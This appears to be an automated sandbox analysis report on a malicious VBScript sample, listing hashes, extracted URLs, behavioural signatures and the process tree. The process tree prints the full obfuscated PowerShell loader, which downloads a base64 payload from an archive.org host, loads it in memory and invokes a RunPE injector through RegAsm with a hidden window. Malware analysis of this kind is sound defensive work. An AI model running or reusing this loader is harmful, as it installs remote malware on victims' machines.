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Analysis
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max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
02/10/2024, 03:21
Static task
static1
Behavioral task
behavioral1
Sample
05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7.vbs
Resource
win7-20240903-en
General
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Target
05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7.vbs
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Size
500KB
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MD5
5b4a21e35cce386f8692a4a5d684cb14
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SHA1
38cefdde89a5577f3d89396afd6fc15c8f89200e
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SHA256
05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7
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SHA512
94543f5006c02fe0df66d9c6517831bc7afa22336372d2f87de1f0d21028b5d228850fe4d03e9c8721d4fb4e44d34c711a21a7abf35e1268f1293daab07b30b2
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SSDEEP
12288:Ppg9Y9TU6WMHM8GjqgjuLlXxp7kuqXZqDpw20ADLlpfMom6av1o0pLtxoo/Obx5X:GUsZkfqezIZy30W7
Malware Config
Extracted
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 2712 powershell.exe 6 2712 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2020 powershell.exe 2712 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2020 powershell.exe 2712 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2020 powershell.exe Token: SeDebugPrivilege 2712 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2352 wrote to memory of 2020 2352 WScript.exe 30 PID 2352 wrote to memory of 2020 2352 WScript.exe 30 PID 2352 wrote to memory of 2020 2352 WScript.exe 30 PID 2020 wrote to memory of 2712 2020 powershell.exe 32 PID 2020 wrote to memory of 2712 2020 powershell.exe 32 PID 2020 wrote to memory of 2712 2020 powershell.exe 32
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\05f1bfad1052e82ed6fc8d3348ea86f1958b8d8f39d331967edba843ce1214f7.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2352 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2712
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD50955df4113cc9191e766cddc91c266ee
SHA12f1e92935e75351bf274d09e529c0636fa827319
SHA256427c121c6deccfa89289a1d83a2d06a9e06b8e30ed3f052595c7d25544f9d567
SHA512f6af8b0b98cea6c3f16260363ad8781b1c961abfbad50c937eb72452af03b6386c4e7d2f88b6d80c8eb448e3f86414a9e6179ea862064bd4836dcb20d41ae4ec